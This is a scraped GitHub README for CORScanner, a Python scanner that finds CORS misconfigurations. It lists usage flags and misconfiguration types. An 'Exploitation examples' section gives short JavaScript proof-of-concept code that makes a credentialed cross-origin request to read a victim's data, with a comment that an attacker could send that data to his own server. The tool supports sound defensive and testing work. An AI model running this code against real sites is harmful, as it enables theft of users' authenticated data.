Skip to content
Fast CORS misconfiguration vulnerabilities scanner🍻
Branch: master
Clone or download
Latest commit 024ae64 Mar 14, 2019
Type Name Latest commit message Commit time
Failed to load latest commit information.
common delay import fcntl to avoid errors on windows Feb 23, 2019
images Add files via upload Sep 30, 2018
.gitignore Initial commit May 6, 2018
LICENSE Initial commit May 6, 2018 Update Mar 14, 2019
requirements.txt update dependency Feb 25, 2019

About CORScanner

CORScanner is a python tool designed to discover CORS misconfigurations vulnerabilities of websites. It helps website administrators and penetration testers to check whether the domains/urls they are targeting have insecure CORS policies.

The correct configuration of CORS policy is critical to website security, but CORS configurations have many error-prone corner cases. Web developers who are not aware of these corner cases are likely to make mistakes. Thus, we summarize different common types of CORS misconfigurations and integrate them into this tool, to help developers/security-practioners quickly locate and detect such security issues.

Technical details: We Still Don’t Have Secure Cross-Domain Requests: an Empirical Study of CORS





  • Download this tool
git clone
  • Install dependencies
sudo pip install -r requirements.txt

CORScanner depends on the requests, gevent, tld, colorama and argparse python modules.

Recommended Python Version:

  • The recommended version for Python 2 is 2.7.x


Short Form Long Form Description
-u --url URL/domain to check it's CORS policy
-d --headers Add headers to the request
-i --input URL/domain list file to check their CORS policy
-t --threads Number of threads to use for CORS scan
-o --output Save the results to text file
-v --verbose Enable the verbose mode and display results in realtime
-h --help show the help message and exit


  • To check CORS misconfigurations of specific domain:

python -u

  • To check CORS misconfigurations of specific URL:

python -u

  • To check CORS misconfiguration with specific headers:

python -u -d "Cookie: test"

  • To check CORS misconfigurations of multiple domains/URLs:

python -i top_100_domains.txt -t 100

  • To list all the basic options and switches use -h switch:

python -h

Misconfiguration types

This tool covers the following misconfiguration types:

Misconfiguration type Description
Reflect_any_origin Blindly reflect the Origin header value in Access-Control-Allow-Origin headers in responses, which means any website can read its secrets by sending cross-orign requests.
Prefix_match trusts, which is an attacker's domain.
Suffix_match trusts, which could be registered by an attacker.
Not_escape_dot trusts, which could be registered by an attacker.
Substring match trusts, which could be registered by an attacker.
Trust_null trusts null, which can be forged by iframe sandbox scripts
HTTPS_trust_HTTP Risky trust dependency, a MITM attacker may steal HTTPS site secrets
Trust_any_subdomain Risky trust dependency, a subdomain XSS may steal its secrets

Welcome to contribute more.

Exploitation examples

Here is an example about how to exploit "Reflect_any_origin" misconfiguration on Secrets on can be read by any malicious website(in the demo we use localhost as the malicious website). video on Youtube:


Here is the exploitation code:

    // Send a cross origin request to the server, when a victim visits the page.
    var req = new XMLHttpRequest();'GET',"",true);
    req.onload = stealData;
    req.withCredentials = true;

    function stealData(){
        //reading response is allowed because of the CORS misconfiguration.
        var data= JSON.stringify(JSON.parse(this.responseText),null,2);

        //display the data on the page. A real attacker can send the data to his server.

    function output(inp) {
        document.body.appendChild(document.createElement('pre')).innerHTML = inp;

If you have understood how the demo works, you can read Section 5 and Section 6 of the CORS paper and know how to exploit other misconfigurations.


CORScanner is licensed under the MIT license. take a look at the LICENSE for more information.


This work is inspired by the following excellent researches:

  • James Kettle, “Exploiting CORS misconfigurations for Bitcoins and bounties”, AppSecUSA 2016*
  • Evan Johnson, “Misconfigured CORS and why web appsec is not getting easier”, AppSecUSA 2016*
  • Von Jens Müller, "CORS misconfigurations on a large scale", CORStest*


Current version is 1.0

You can’t perform that action at this time.